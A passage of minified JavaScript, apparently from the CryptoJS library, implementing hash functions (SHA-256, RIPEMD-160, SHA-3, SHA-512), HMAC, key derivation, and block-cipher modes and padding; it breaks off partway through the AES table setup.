_doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 